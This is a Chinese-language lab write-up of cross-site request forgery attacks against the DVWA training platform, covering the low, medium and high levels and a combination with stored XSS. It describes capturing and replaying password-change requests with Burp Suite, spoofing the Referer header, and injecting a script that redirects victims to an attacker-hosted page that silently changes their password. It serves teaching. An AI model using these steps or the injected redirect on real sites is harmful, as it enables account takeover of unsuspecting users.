CSRF
(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF。
跨站请求伪造是指利用受害者尚未失效的身份认证信息(cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害人的身份向(身份认证信息时所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
流程图
CSRF和XSS的区别
csrf属于业务逻辑漏洞,在服务器看来,所有的请求都是合法正常的。
XSS,SQL注入等等都是属于技术漏洞。
XSS:客户信任服务器
CSRF:服务器信任客户(经过身份验证的)
攻击前提:
1.用户必须登录
2.黑客必须懂得一些发包请求
3.服务器端是不会有二次认证的
4.被害者是不知情的
本次实验结合DVWA平台实验
一共4种初,中,高,结合XSS
这次实验四台机器,黑客两台:一台win10黑客机,一台kali。一台winxp服务器,一台win7用户机。
初级low
源代码
用户端登陆
然后选择low,黑客端和用户端要保持一样的级别才行
黑客端登陆
输入想要修改的密码,输入两次
burpsuite抓包
复制黄色这段url然后DROP丢弃
用户端在网址中服务器ip后加上抓抓到的url 然后回车
相当于这个url是黑客用户的一个链接,有时候我们网页上会跳出的一些链接或者图片之类的,点进去后就是这样的效果
进去后就发现密码已被修改
然后用我们的修改后的123登陆发现登陆成功
中级
源代码
代码中要求用固定SERVER_NAME,也就是服务器IP要确定
用户登陆,选择中级
黑客端选择中级后,修改密码,抓包,
把host也就是服务器地址放在referer后,修改好放过
另一边给一个虚假网址就是和初级一样,包里的url添加到ip后面
然后发现用户这边登陆密码变为了9999
高级
源代码
一样的步骤然后抓包,将high改为low
然后放过
用户端登陆ip加抓包的url
密码已被修改
存储型XSS结合CSRF
单凭CSRF一种很容易被察觉,然后将XSS结合CSRF后就变得强大很多,特别是存储型XSS
随意输入想修改的密码,我这里为123
抓包,
复制框内的url,然后drop放过
在kali写一个html脚本
给予权限777
在存储型语局中加入
<script>window.location="http://192.168.10.129/test.html"</script>
这是一个重定向脚本语句,将页面跳转至kali中的html文件
如果用户无意中点到一个由黑客制作的网页,那么
自动跳转至脚本的404页面
在用户以为是正常的一种网络错误时,密码已被修改
重新登陆发现密码已经改为123
因此我们平时遇见陌生链接的时候千万不要乱点